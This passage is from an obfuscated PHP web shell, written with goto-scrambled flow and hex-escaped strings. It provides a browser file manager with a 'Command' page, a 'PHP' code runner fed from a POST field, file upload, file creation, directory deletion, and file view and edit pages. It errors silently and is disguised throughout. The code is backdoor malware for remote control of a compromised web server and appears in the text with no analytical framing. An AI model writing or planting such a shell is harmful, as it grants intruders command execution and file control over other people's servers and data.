"\x3c\57\x66\x6f\x72\x6d\x3e"; goto xQg59; KHJbS: $q2bj_ = array_merge($muYJG, $Pw4YR); goto l213j; aqiGg: goto caEKV; goto ZFbOw; dSd7_: if (!($_POST["\x61\143\x74\151\x6f\x6e"] === "\x75\160\154\157\x61\x64" && !empty($_FILES["\146\x69\x6c\145"]["\x6e\141\155\145"]))) { goto LBXeE; } goto OLV0A; Q7M2r: $MCQuF = "\77\170\75\143\155\x64\46\144\75" . urlencode($CrCGH); goto XYAno; l1Xfw: $xdFsO = htmlspecialchars($VYsrf); goto Q7M2r; e2TE4: echo "\x3c\146\157\x72\x6d\x20\155\x65\164\x68\x6f\x64\75\x22\120\117\123\x54\42\x20\141\143\164\151\157\x6e\75\x22\77\170\75\x63\155\144\x26\x64\75" . $uM10d . "\42\x3e"; goto ODa6l; RTRpq: goto oDKt2; goto rOKto; E4xFJ: ob_start(); goto DPmp4; RZNJt: $ZC04U = str_replace("\x0", '', $ZC04U); goto HEHei; slaXi: echo "\74\151\x6e\x70\165\x74\x20\x74\171\160\145\75\42\x68\x69\144\144\145\156\42\x20\x6e\x61\x6d\145\x3d\x22\163\x61\166\x65\42\40\x76\x61\154\165\145\x3d\42\61\42\x3e"; goto c1EA0; Q3FnN: k6kX5: goto e2ibZ; c1EA0: echo "\74\x62\x75\164\164\157\156\40\x74\171\160\x65\75\x22\163\165\x62\x6d\x69\164\42\40\x63\154\141\x73\x73\x3d\x22\163\141\166\145\x2d\x62\164\x6e\42\76\xf0\x9f\x92\276\x20\123\x61\x76\x65\74\x2f\x62\x75\x74\x74\x6f\156\x3e"; goto fsSCc; ffM3q: $hhgcZ = "\77\170\75\x70\x68\x70\x26\x64\75" . urlencode($CrCGH); goto WBzKQ; zK_gr: goto oDKt2; goto Q3FnN; xQg59: $xdFsO = htmlspecialchars($VYsrf); goto qoD2V; VhBox: $hhgcZ = "\77\x78\75\160\x68\160\x26\x64\75" . urlencode($CrCGH); goto g0gRD; Zj1xK: VKV5M: goto F2ts2; rOKto: aQo0R: goto z5a_t; uyDi0: gGaWL: goto sDoNN; xNcl9: if (!(realpath($UVlkq) && is_dir($UVlkq))) { goto ou6O9; } goto Wqfxc; bwhZr: $VyUv3 = $CrCGH . DIRECTORY_SEPARATOR . $ZC04U; goto OLR0k; LlrvF: $CrCGH = getcwd(); goto w7l53; aCOHD: $CY6pb = ''; goto oD_gi; wTvik: $rya2e = "\x42\151\156\x61\x72\x79\40\146\x69\154\x65\x20\x28\x66\151\162\x73\x74\40\x31\113\x42\40\x68\x65\170\51\x3a\xa" . substr(bin2hex($rya2e), 0, 2000); goto NidX1; ajdc8: $npEaf = urldecode($_GET["\160\x61\x74\x68"]); goto YPWyQ; mxhGL: function j68r1($npEaf) { goto O6Z3n; JaqfO: j7h2C: goto piWOc; BmHSD: $dq9hw = ''; goto kwSQB; kwSQB: foreach ($HmNqF as $XE2xR) { goto jEXNz; jEXNz: $dq9hw .= "\x2f" . $XE2xR; goto ABTU2; ys6Jm: plO8q: goto DcEzP; ABTU2: $l9ACC .= "\40\x2f\x20\x3c\141\40\x68\162\x65\146\75\42\77\144\75" . urlencode($dq9hw) . "\x22\x3e" . htmlspecialchars($XE2xR) . "\x3c\57\x61\x3e"; goto ys6Jm; DcEzP: } goto JaqfO; O6Z3n: $npEaf = str_replace("\134", "\x2f", $npEaf); goto uwcyN; uwcyN: $HmNqF = array_filter(explode("\x2f", $npEaf)); goto CvYRI; CvYRI: $l9ACC = "\x3c\x61\x20\150\x72\x65\146\75\x22\x3f\x22\x3e\x52\x6f\157\164\74\57\141\x3e"; goto BmHSD; piWOc: return $l9ACC; goto I9AnR; I9AnR: } goto v6MYX; v6MYX: $sl4HH = j68R1($CrCGH); goto l_tMI; BHC7n: echo "\74\160\x20\x69\x64\75\42\x6d\145\156\165\42\76\xa\x3c\163\x70\141\156\x20\x69\144\75\x22\155\x65\x6e\165\x42\x22\x3e\xa\74\x3c\x61\40\150\x72\x65\146\x3d\42{$xdFsO}\x22\76\110\x6f\x6d\145\x3c\x2f\141\76\x3e\xa\74\74\141\40\150\x72\x65\x66\x3d\x22{$MCQuF}\42\76\103\x6f\x6d\155\141\156\x64\x3c\57\x61\76\76\xa\74\74\x61\40\x68\162\x65\x66\75\42{$hhgcZ}\x22\76\x50\110\120\x3c\57\141\x3e\x3e\12\74\x3c\141\x20\x68\162\x65\x66\75\42{$pGVyT}\42\x3e\x49\x6e\x66\x6f\x3c\x2f\x61\76\x3e\12\x3c\57\x73\160\141\x6e\76\xa\x3c\57\x70\76\xa\x3c\x73\x63\x72\151\x70\164\76\12\144\x6f\x63\165\155\145\x6e\164\56\x61\144\144\x45\166\x65\156\164\x4c\x69\163\x74\145\156\x65\x72\x28\47\x44\x4f\115\103\x6f\x6e\164\x65\156\x74\114\x6f\x61\x64\145\x64\x27\54\x20\x28\51\40\x3d\x3e\x20\x7b\12\40\40\x20\40\143\x6f\156\163\x74\x20\154\x69\156\x6b\163\40\x3d\x20\144\x6f\143\x75\x6d\x65\x6e\x74\56\x71\x75\145\162\x79\123\x65\154\145\x63\164\157\162\x41\x6c\154\50\x27\x23\x6d\145\156\x75\102\x20\141\47\x29\x3b\12\x20\x20\x20\40\x6c\x69\x6e\153\163\56\146\157\162\x45\141\143\150\x28\x6c\151\156\153\40\75\x3e\x20\x7b\12\x20\x20\40\40\x20\40\40\x20\x69\x66\x20\x28\x77\151\x6e\144\157\x77\x2e\x6c\x6f\143\141\164\151\x6f\x6e\x2e\150\162\x65\x66\x2e\x69\x6e\143\x6c\165\144\145\163\50\154\x69\x6e\x6b\x2e\147\x65\x74\101\164\x74\162\x69\x62\165\164\x65\x28\47\150\x72\x65\146\47\x29\x29\x29\40\x7b\12\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\154\151\156\x6b\x2e\163\164\x79\x6c\x65\56\x63\157\154\157\162\40\75\40\x27\43\x63\x63\146\x66\x30\60\x27\x3b\xa\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x6c\x69\156\x6b\x2e\163\164\x79\x6c\x65\x2e\x66\157\156\x74\x57\145\x69\x67\x68\164\40\x3d\x20\x27\142\157\154\x64\47\x3b\xa\40\x20\x20\x20\40\40\40\x20\175\12\40\x20\x20\x20\x7d\51\x3b\xa\x7d\51\73\12\x3c\57\x73\x63\x72\x69\x70\x74\76"; goto FChNs; SsDKO: sVXzi: goto LlrvF; CorM7: bBPqV: goto FAmiT; kk3wc: $vBmAf = true; goto KxORr; JuN30: $CY6pb = ob_get_clean(); goto CorM7; QdIFv: $VyUv3 = $CrCGH . DIRECTORY_SEPARATOR . $ZC04U; goto LV8iB; g0gRD: $pGVyT = "\x3f\170\x3d\151\156\146\x6f\46\144\75" . urlencode($CrCGH); goto wYMhI; DY8a_: PTbiD: goto DQeBL; aZgpP: $Pw4YR[] = $AEGCe; goto N1Lpc; JnpU0: if (!($_GET["\170"] === "\151\x6e\146\157")) { goto tS1_t; } goto euK9P; hz8xO: DvlFM: goto SsDKO; luK7G: ou6O9: goto SFNie; OfNls: $muYJG = []; goto cjMHE; Xohbh: z32hS: goto lxeM3; eIQJp: exit; goto Ay8dO; kRzve: if (!isset($_GET["\144"])) { goto sVXzi; } goto C5fGf; tYvUp: exit; goto uD7ku; F2kaK: echo "\74\x70\x20\x69\144\75\42\x6d\x65\x6e\165\x22\x3e\12\x3c\163\x70\x61\x6e\x20\151\144\75\42\155\x65\x6e\x75\102\42\x3e\xa\x3c\74\x61\40\x68\162\x65\x66\75\42{$xdFsO}\x22\x3e\110\x6f\155\145\74\57\141\76\x3e\xa\74\x3c\141\x20\150\162\145\146\75\42{$MCQuF}\x22\76\103\x6f\155\x6d\141\x6e\144\74\57\x61\x3e\x3e\12\x3c\74\x61\x20\x68\x72\x65\146\75\42{$hhgcZ}\x22\x3e\x50\110\120\x3c\57\x61\76\76\12\x3c\x3c\x61\x20\x68\162\145\146\x3d\42{$pGVyT}\42\x3e\111\156\x66\x6f\74\x2f\141\76\x3e\12\x3c\x2f\x73\160\141\x6e\x3e\xa\x3c\57\160\x3e\12\74\x73\x63\162\151\160\164\76\xa\144\x6f\x63\165\155\145\x6e\x74\56\x61\144\x64\x45\x76\x65\x6e\164\x4c\151\163\x74\x65\156\x65\x72\50\47\104\x4f\x4d\103\x6f\x6e\164\145\x6e\x74\x4c\x6f\141\144\x65\144\47\x2c\40\x28\51\x20\x3d\x3e\x20\x7b\xa\40\x20\40\40\143\x6f\x6e\163\164\40\154\151\x6e\x6b\163\x20\75\x20\144\x6f\x63\165\155\145\156\164\56\x71\x75\145\x72\x79\x53\x65\x6c\x65\x63\x74\157\x72\101\154\x6c\50\47\x23\155\x65\x6e\x75\102\x20\x61\47\x29\x3b\xa\x20\40\x20\x20\154\x69\156\153\x73\x2e\146\x6f\162\105\141\x63\x68\x28\154\151\x6e\153\x20\75\76\x20\173\12\x20\x20\x20\x20\x20\40\40\40\x69\x66\40\50\167\x69\156\x64\157\167\x2e\x6c\157\143\x61\x74\151\x6f\x6e\56\x68\x72\x65\x66\56\151\x6e\143\154\165\144\x65\x73\x28\x6c\x69\x6e\153\56\x67\x65\164\101\164\x74\x72\151\x62\x75\164\x65\50\47\x68\162\145\146\47\51\51\51\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\x20\x20\x20\154\x69\156\x6b\56\x73\x74\171\x6c\x65\56\x63\157\x6c\x6f\x72\x20\75\40\47\43\x63\x63\146\146\x30\x30\47\x3b\xa\x20\x20\40\40\40\40\40\x20\40\40\x20\40\154\151\156\153\56\163\164\171\x6c\145\x2e\x66\x6f\x6e\164\127\x65\x69\x67\150\164\x20\75\40\x27\x62\x6f\154\144\47\73\12\40\x20\x20\40\40\x20\40\x20\175\12\x20\x20\x20\x20\x7d\x29\73\xa\175\51\73\xa\x3c\x2f\163\x63\x72\x69\160\x74\x3e"; goto wYfII; YcD7H: ysK_v: goto xt6Ul; dMkfT: wnEgu: goto mxhGL; z7dc2: $yQFNJ = "\x23\63\63\x33\x33\x33\63"; goto ZSYrM; lS17G: if (!($_GET["\x78"] === "\166\151\145\x77")) { goto mXR3E; } goto iWcyt; DWmgF: $ReWc_ = []; goto Hby4o; WpQ4C: goto bBPqV; goto ynfxC; WBzKQ: $pGVyT = "\77\x78\75\151\x6e\146\157\46\144\x3d" . urlencode($CrCGH); goto BHC7n; gLB6j: if (!($CY6pb !== '')) { goto EGzK3; } goto MC6B5; kbIx0: $CrCGH = getcwd(); goto luK7G; Y95M1: if (!($_POST["\x61\143\x74\151\x6f\x6e"] === "\x6d\153\x66\x69\154\x65" && !empty($_POST["\x6e\141\x6d\x65"]))) { goto H7LIy; } goto aiMTF; W0U6n: print "\x3c\x68\164\155\154\x3e\xa\x3c\150\x65\141\x64\76\12\40\40\x20\40\x3c\x74\x69\x74\154\x65\76\126\x69\145\167\151\156\x67\72\40{$ZC04U}\74\x2f\x74\151\x74\154\x65\76\12\40\x20\40\x20\x3c\x73\x74\x79\x6c\145\76\xa\x20\40\40\x20\40\x20\x20\x20\142\157\x64\x79\40\173\40\x62\141\x63\153\x67\x72\157\165\156\x64\72\40\43\x32\x32\x32\x3b\x20\143\157\154\x6f\162\72\40\43\x30\146\x30\73\40\x66\157\156\164\72\40\61\60\x70\164\x20\47\x43\157\165\162\x69\x65\162\40\116\145\x77\x27\x2c\x20\155\157\x6e\x6f\163\160\x61\x63\145\x3b\x20\x6d\x61\162\x67\151\x6e\x3a\x20\60\73\x20\x70\x61\x64\144\151\x6e\x67\x3a\x20\x31\65\x70\x78\x3b\x20\x7d\xa\40\x20\x20\x20\x20\x20\40\40\141\x20\x7b\x20\x63\x6f\x6c\157\x72\x3a\x20\43\67\71\x61\x33\x31\x37\73\x20\164\x65\170\x74\x2d\144\x65\143\157\x72\x61\164\x69\x6f\x6e\72\x20\156\157\156\145\x3b\40\175\xa\40\x20\x20\40\x20\40\x20\40\141\x3a\x68\157\x76\x65\162\40\x7b\40\x74\x65\x78\x74\55\144\145\x63\x6f\162\141\x74\151\x6f\x6e\72\x20\x75\156\144\145\x72\154\151\156\145\73\40\175\xa\40\40\x20\40\x20\x20\40\40\160\x72\145\x20\x7b\40\x62\141\x63\x6b\x67\x72\157\165\156\144\x3a\x20\x23\60\60\60\x3b\40\x70\x61\x64\x64\x69\156\x67\x3a\40\x31\x32\160\x78\73\x20\x62\157\x72\144\145\162\55\162\141\144\x69\x75\163\x3a\x20\65\160\170\73\40\x6f\x76\x65\x72\x66\x6c\x6f\167\x3a\x20\141\165\164\157\x3b\x20\x7d\xa\40\40\40\x20\x20\x20\x20\x20\43\155\145\156\165\40\173\12\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\155\141\x72\x67\x69\156\55\x74\x6f\160\x3a\40\64\60\x70\x78\x3b\xa\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\164\145\170\x74\x2d\x61\x6c\x69\x67\156\72\40\x63\145\x6e\x74\145\x72\73\12\40\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x66\157\x6e\164\x2d\146\x61\155\151\x6c\171\72\x20\x27\103\x6f\x75\162\x69\145\x72\40\x4e\x65\x77\x27\54\40\155\x6f\156\157\x73\160\x61\143\x65\x3b\12\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\146\157\156\x74\x2d\x73\151\172\x65\72\x20\x31\64\x70\170\73\12\40\40\40\40\x20\x20\40\40\40\x20\40\40\x63\157\154\x6f\x72\x3a\40\43\x37\x39\141\x33\x31\x37\73\12\40\x20\40\x20\x20\40\x20\40\x7d\xa\40\40\40\x20\40\40\40\40\x23\x6d\145\x6e\x75\x42\x20\141\x20\x7b\xa\40\x20\x20\x20\40\40\x20\40\40\40\40\40\143\x6f\x6c\157\x72\72\x20\x23\x37\x39\141\63\x31\x37\x3b\xa\40\x20\x20\40\40\x20\40\40\40\40\x20\40\x74\x65\x78\x74\x2d\x64\145\x63\x6f\162\141\x74\151\157\x6e\72\x20\156\157\x6e\x65\73\12\x20\x20\x20\x20\40\40\40\x20\x20\40\40\40\x70\x61\144\144\151\156\x67\72\40\x34\160\x78\x20\70\x70\x78\x3b\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\142\157\x72\144\145\162\x2d\162\x61\144\151\x75\x73\72\40\63\160\170\73\xa\x20\40\40\40\40\40\x20\x20\x20\x20\x20\x20\x74\162\141\x6e\x73\151\x74\151\157\x6e\72\40\141\x6c\x6c\x20\x30\x2e\62\163\x20\x65\141\x73\x65\x3b\12\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\144\x69\x73\x70\154\141\x79\x3a\40\151\156\154\x69\x6e\x65\55\x62\154\x6f\x63\x6b\x3b\12\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x6d\x61\x72\x67\x69\x6e\72\40\60\x20\64\160\170\x3b\xa\x20\x20\40\40\40\x20\40\x20\175\12\40\40\x20\x20\x20\40\x20\40\43\x6d\x65\x6e\x75\x42\40\x61\x3a\150\x6f\166\x65\162\x20\173\xa\40\x20\x20\x20\40\x20\40\40\40\40\40\40\142\x61\143\x6b\x67\162\157\x75\156\144\72\x20\162\147\142\141\x28\x31\x32\61\x2c\x20\x31\66\63\x2c\x20\62\63\54\x20\x30\x2e\62\51\x3b\12\x20\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\x74\x72\141\x6e\x73\x66\157\x72\x6d\72\x20\164\162\x61\156\x73\154\141\164\x65\131\x28\x2d\x31\160\x78\51\x3b\xa\x20\x20\x20\x20\40\40\40\x20\175\xa\x20\x20\40\40\x3c\57\163\164\x79\x6c\x65\76\12\74\57\x68\145\141\144\x3e\xa\x3c\x62\x6f\x64\x79\76\xa\x3c\150\63\40\163\x74\171\154\x65\75\x22\x63\157\x6c\x6f\x72\72\x23\x37\x39\x61\63\61\x37\73\x22\x3e\xf0\x9f\x91\201\xef\xb8\217\x20\126\x69\x65\x77\151\156\147\72\40{$ZC04U}\x3c\57\x68\63\76\12\x3c\160\x72\145\76{$bPow5}\74\x2f\160\162\145\76\12\74\142\162\x3e\x3c\141\x20\x68\162\145\146\75\x22{$xUG22}\42\x20\x73\164\x79\154\x65\x3d\42\x63\x6f\x6c\x6f\162\72\x23\x37\71\141\63\61\67\73\x22\x3e\xe2\x86\x90\x20\x42\141\x63\x6b\x20\164\x6f\x20\x46\x69\154\145\163\x3c\x2f\141\x3e\xa\12\74\160\40\151\144\75\42\x6d\145\x6e\x75\42\76\xa\x3c\x73\160\141\x6e\x20\x69\144\75\42\155\145\156\165\102\x22\x3e\12\x3c\x3c\x61\x20\150\162\145\146\75\x22{$VYsrf}\x22\76\x48\157\155\x65\74\57\141\x3e\x3e\12\x3c\x3c\141\x20\150\162\x65\146\x3d\42\x3f\170\75\143\155\144\46\144\75{$dddMi}\x22\76\x43\x6f\x6d\155\141\x6e\144\x3c\x2f\x61\x3e\76\12\x3c\x3c\x61\40\x68\x72\145\146\x3d\42\x3f\170\x3d\160\x68\160\46\144\75{$dddMi}\42\76\x50\110\120\x3c\x2f\x61\x3e\x3e\12\x3c\74\x61\40\x68\162\145\x66\75\42\77\x78\x3d\x69\x6e\x66\x6f\x26\144\x3d{$dddMi}\x22\76\111\156\x66\157\x3c\57\x61\x3e\x3e\12\x3c\57\x73\x70\x61\156\x3e\xa\74\x2f\160\76\12\74\x73\x63\162\x69\x70\x74\76\12\144\x6f\x63\165\x6d\145\x6e\164\56\141\x64\144\105\166\x65\156\164\114\151\163\x74\x65\156\145\162\50\47\104\117\115\x43\157\156\x74\x65\x6e\x74\x4c\157\x61\144\x65\144\47\x2c\x20\x28\x29\x20\x3d\76\x20\x7b\12\x20\x20\40\x20\143\157\x6e\x73\164\40\154\151\156\153\163\40\x3d\x20\x64\x6f\143\x75\155\x65\x6e\164\x2e\161\165\x65\x72\171\123\145\154\145\x63\x74\x6f\162\101\154\x6c\50\x27\43\x6d\145\x6e\x75\x42\40\141\x27\51\73\xa\40\x20\x20\40\x6c\x69\x6e\x6b\x73\56\146\157\162\x45\141\x63\x68\x28\x6c\151\x6e\153\40\75\x3e\40\173\12\x20\40\40\40\x20\40\40\x20\151\x66\x20\50\167\151\x6e\x64\157\x77\x2e\x6c\x6f\143\x61\x74\x69\157\x6e\x2e\x68\162\x65\x66\56\151\x6e\x63\154\165\x64\x65\x73\x28\x6c\151\x6e\153\56\147\145\164\101\x74\x74\x72\151\x62\165\x74\x65\50\47\x68\x72\x65\x66\47\51\51\x29\x20\x7b\12\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\x20\154\151\x6e\153\x2e\x73\x74\x79\x6c\x65\x2e\x63\x6f\154\x6f\162\40\75\40\47\43\x63\x63\146\146\60\60\x27\x3b\xa\x20\x20\40\40\40\40\40\40\40\x20\x20\x20\x6c\x69\x6e\x6b\56\163\x74\x79\x6c\145\x2e\x66\x6f\156\164\127\x65\151\x67\x68\x74\x20\x3d\x20\47\x62\157\x6c\x64\47\73\xa\x20\40\40\40\40\40\40\x20\175\xa\x20\x20\x20\x20\175\x29\73\12\x7d\x29\x3b\12\74\x2f\163\x63\x72\151\160\164\76\12\x3c\57\142\x6f\x64\171\76\12\x3c\57\150\164\155\154\x3e"; goto eIQJp; cjMHE: $Pw4YR = []; goto pWeWa; yN92t: $zwVmY = ["\146\157\154\144\x65\x72" => "\43\67\x39\141\63\x31\67", "\151\155\x61\147\x65" => "\43\x66\x66\x36\x66\66\x31", "\x76\x69\x64\x65\157" => "\43\x36\x65\143\145\x64\141", "\x61\x75\144\151\x6f" => "\x23\x66\x66\x63\143\65\x63", "\141\x72\143\150\151\166\145" => "\43\142\x30\141\x37\x64\x39", "\143\157\144\x65" => "\x23\70\145\x64\61\71\x33", "\x64\157\143" => "\x23\x66\x66\71\141\70\x62", "\x62\x69\x6e\141\x72\171" => "\43\x61\x61\x61\141\141\x61", "\x64\145\146\141\165\x6c\164" => $WznnW]; goto C5LIO; Wqfxc: @chdir($UVlkq); goto kbIx0; sxhHM: $xUG22 = "\x3f\x64\x3d" . urlencode($CrCGH); goto lPWdZ; G0yUj: echo "\74\x73\x74\162\x6f\156\x67\40\x73\x74\x79\154\x65\x3d\x22\x63\x6f\x6c\x6f\x72\x3a\x23\x37\71\141\63\x31\x37\73\x22\76\117\165\164\x70\165\x74\x3a\74\57\x73\164\x72\157\156\147\x3e"; goto KbSm0; aiMTF: @file_put_contents($_POST["\156\x61\155\145"], ''); goto FnWFJ; KxaEC: $npEaf = urldecode($_GET["\x70\x61\164\x68"]); goto hkpF4; G_gIE: oDKt2: goto X6ekh; Dcsl4: if (!($UmiPm !== '')) { goto z32hS; } goto vNJJy; l213j: l3vNN: goto yN92t; MeGhr: $bPow5 = "\x46\151\x6c\x65\x20\x6e\x6f\164\40\x66\x6f\165\x6e\144\56"; goto BkQvE; z5a_t: closedir($Hjoi4); goto CiSuD; ZFbOw: PYPGG: goto dzdwq; NKJ09: oOWOE: goto gTWNa; A3jiz: if (!($aNYUQ !== false && is_dir($aNYUQ))) { goto DvlFM; } goto mtZoU; lPWdZ: $dddMi = urlencode($CrCGH); goto W0U6n; zRLHE: if (empty($_POST["\143\157\x64\x65"])) { goto ysK_v; } goto dxrI1; V0WmA: $MCQuF = "\77\170\75\143\155\144\x26\x64\x3d" . urlencode($CrCGH); goto VhBox; mMvwZ: @move_uploaded_file($_FILES["\146\x69\x6c\145"]["\x74\x6d\x70\137\x6e\141\x6d\x65"], $Dvbmt); goto WEoSb; fDwl4: $srD6T = htmlspecialchars($_SERVER["\122\x45\x51\125\105\123\124\x5f\125\x52\x49"]); goto KluXa; lxeM3: echo "\x3c\x66\x6f\x72\x6d\40\155\145\x74\x68\x6f\144\x3d\x22\120\117\123\x54\42\40\x61\143\x74\151\157\156\x3d\x22\77\x78\75\x70\150\x70\46\144\x3d" . $uM10d . "\42\x3e"; goto hoTpJ; WEoSb: LBXeE: goto tdrGq; GqxR4: @rmdir($npEaf); goto xdWhI; c06Eu: $ZC04U = basename(urldecode($_GET["\x66"])); goto aqiGg; TVNSq: cPQdM: goto GD0DI; RHDBe: $ZC04U = base64_decode($_GET["\x66"] ?? ''); goto h2XlX; lQf6E: $xUG22 = "\x3f\144\x3d{$uM10d}"; goto BlGCI; H5Wm0: echo "\x3c\164\x61\142\154\145\76"; goto JUu7H; BvUzk: $ho70p = ''; goto zRLHE; o9qR3: $CrCGH = getcwd(); goto SuiaA; KluXa: print "\x3c\150\164\155\x6c\x3e\xa\74\x68\145\141\x64\x3e\12\40\x20\40\x20\74\164\151\x74\x6c\145\76\x45\x64\151\x74\151\x6e\x67\x3a\40{$ZC04U}\74\57\164\151\x74\154\145\x3e\xa\40\x20\x20\40\x3c\x73\x74\x79\x6c\145\76\12\40\40\40\40\x20\40\40\40\x62\157\144\x79\40\x7b\x20\142\x61\143\x6b\x67\162\157\165\x6e\144\72\x20\43\x32\62\x32\73\40\x63\x6f\154\157\x72\72\40\x23\x30\146\60\73\40\x66\x6f\156\x74\x3a\x20\61\x30\x70\164\40\47\x43\x6f\165\x72\151\x65\x72\x20\116\x65\x77\47\54\40\x6d\x6f\156\157\x73\160\141\143\145\73\x20\x6d\141\x72\x67\x69\156\x3a\40\x30\73\x20\x70\141\x64\144\151\x6e\147\x3a\40\x31\65\160\170\x3b\40\x7d\12\x20\40\40\x20\40\40\x20\40\141\40\173\x20\x63\157\154\x6f\162\x3a\40\x23\x37\71\x61\63\61\67\73\x20\x74\145\x78\x74\55\144\x65\x63\157\x72\141\164\x69\x6f\156\x3a\x20\156\x6f\x6e\x65\73\x20\175\12\40\x20\x20\x20\40\x20\40\40\141\x3a\x68\157\166\145\162\x20\x7b\x20\x74\x65\x78\164\55\x64\x65\x63\157\x72\x61\164\x69\157\156\72\x20\x75\156\144\145\x72\154\x69\156\x65\73\x20\175\xa\x20\x20\40\40\40\40\40\x20\x2e\x68\145\141\144\x65\x72\40\173\40\144\151\163\160\154\141\171\72\x20\146\x6c\x65\x78\x3b\40\152\x75\163\x74\151\146\x79\55\143\x6f\x6e\x74\145\x6e\x74\72\40\163\160\141\x63\145\55\142\x65\164\167\145\145\156\73\40\x61\x6c\151\x67\x6e\55\151\164\x65\x6d\163\72\x20\143\145\156\164\x65\x72\x3b\40\155\141\x72\x67\x69\x6e\55\142\x6f\164\x74\x6f\155\x3a\40\x31\65\x70\x78\73\40\x7d\xa\x20\40\40\40\x20\x20\40\40\x74\x65\x78\x74\141\x72\x65\141\40\x7b\12\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\167\x69\x64\164\x68\x3a\40\x31\60\60\45\73\40\150\145\151\147\150\164\x3a\x20\x37\x35\166\150\73\40\142\x61\x63\153\x67\x72\x6f\x75\156\144\x3a\40\x23\60\60\x30\73\x20\143\157\154\157\x72\x3a\40\43\60\x66\60\x3b\40\x70\x61\144\x64\151\156\x67\72\x20\x31\x32\x70\170\73\x20\x62\157\162\144\x65\162\72\40\61\x70\170\x20\x73\x6f\154\x69\144\40\43\x35\x35\65\x3b\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\142\x6f\x72\144\145\x72\55\162\x61\x64\x69\165\x73\x3a\x20\64\160\x78\x3b\40\146\157\156\x74\55\x66\x61\155\151\x6c\171\72\40\x27\x43\x6f\165\162\151\x65\162\40\x4e\x65\x77\47\54\x20\155\157\156\157\x73\x70\141\x63\x65\73\xa\40\40\x20\x20\40\40\x20\x20\175\xa\x20\x20\40\40\40\x20\x20\x20\x2e\x73\x61\x76\145\x2d\x62\164\156\x20\173\xa\x20\40\40\40\40\x20\40\40\x20\40\40\x20\142\x61\x63\x6b\147\162\x6f\165\x6e\144\72\x20\x23\x37\x39\x61\63\x31\67\x3b\40\x63\x6f\154\157\x72\72\40\142\154\x61\143\153\73\x20\x70\x61\x64\144\151\156\147\x3a\40\70\x70\x78\40\62\x30\x70\170\73\x20\142\157\x72\144\145\162\72\40\x6e\x6f\x6e\145\73\x20\x62\157\x72\144\x65\x72\55\162\141\144\151\x75\x73\x3a\x20\64\160\x78\x3b\xa\40\x20\x20\40\40\x20\40\40\40\x20\40\40\146\157\156\x74\55\x77\145\151\147\x68\164\72\40\x62\x6f\x6c\x64\x3b\40\143\x75\162\163\157\162\72\x20\x70\157\151\x6e\164\145\162\73\12\40\x20\x20\x20\x20\x20\x20\x20\x7d\12\40\40\40\40\x20\x20\40\40\x2e\163\165\143\143\x65\163\x73\40\173\40\x63\x6f\x6c\x6f\x72\x3a\x20\43\67\x39\x61\x33\61\x37\x3b\x20\x6d\141\x72\147\151\156\x3a\40\61\x30\160\170\40\60\x3b\40\146\x6f\x6e\x74\x2d\x77\x65\x69\x67\150\164\x3a\40\142\x6f\x6c\x64\x3b\40\175\12\x20\40\x20\x20\x20\x20\x20\x20\x23\x6d\x65\156\165\40\173\xa\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\155\141\x72\x67\x69\x6e\x2d\x74\157\x70\72\x20\x34\60\x70\x78\x3b\12\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\164\145\x78\x74\55\x61\154\151\147\x6e\x3a\40\143\x65\156\164\145\x72\x3b\xa\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x66\x6f\x6e\x74\55\x66\x61\155\151\x6c\171\72\40\47\x43\157\165\x72\151\145\x72\40\116\145\167\47\54\x20\x6d\x6f\x6e\x6f\163\x70\x61\x63\x65\73\12\x20\x20\40\x20\40\40\x20\40\x20\40\40\x20\146\x6f\156\164\55\163\x69\x7a\145\72\40\x31\64\160\x78\73\12\40\40\40\40\x20\40\40\40\40\x20\40\40\143\157\x6c\x6f\162\72\40\x23\67\x39\x61\x33\61\67\x3b\xa\x20\40\x20\40\40\x20\x20\x20\x7d\12\40\40\40\40\40\x20\40\x20\x23\155\145\x6e\165\x42\x20\x61\40\173\12\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\143\157\x6c\157\162\x3a\x20\x23\67\x39\141\63\61\67\x3b\12\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x74\145\x78\x74\55\x64\x65\143\x6f\x72\141\164\151\157\x6e\x3a\x20\156\157\156\145\x3b\xa\40\x20\40\x20\x20\40\x20\40\40\x20\40\40\x70\141\144\x64\151\x6e\x67\x3a\40\x34\x70\170\40\x38\160\170\73\xa\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x62\x6f\x72\x64\x65\x72\x2d\162\141\x64\151\x75\x73\x3a\40\63\160\170\73\12\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\x74\162\141\x6e\163\x69\164\151\157\156\72\x20\141\154\x6c\40\60\56\62\163\40\x65\x61\163\145\73\12\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x64\151\163\160\x6c\x61\x79\72\40\x69\x6e\x6c\x69\156\x65\x2d\x62\x6c\157\143\153\73\xa\x20\x20\40\40\x20\40\40\x20\40\x20\40\40\155\141\162\x67\151\156\72\40\x30\40\64\160\x78\x3b\xa\40\40\40\40\x20\x20\x20\40\175\xa\40\x20\x20\x20\40\40\x20\40\43\x6d\x65\156\x75\102\x20\141\x3a\150\x6f\166\145\x72\x20\x7b\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\142\x61\143\x6b\147\x72\157\x75\156\x64\x3a\x20\162\x67\142\x61\50\x31\62\61\54\x20\x31\x36\63\x2c\x20\62\x33\54\x20\x30\56\x32\51\x3b\xa\40\40\40\x20\x20\40\x20\40\40\x20\x20\x20\164\x72\x61\156\x73\x66\157\162\x6d\72\40\164\x72\141\156\x73\154\141\x74\145\131\x28\x2d\61\x70\170\x29\73\12\40\40\x20\x20\40\x20\40\x20\175\12\40\x20\40\40\74\57\163\x74\171\x6c\x65\x3e\12\x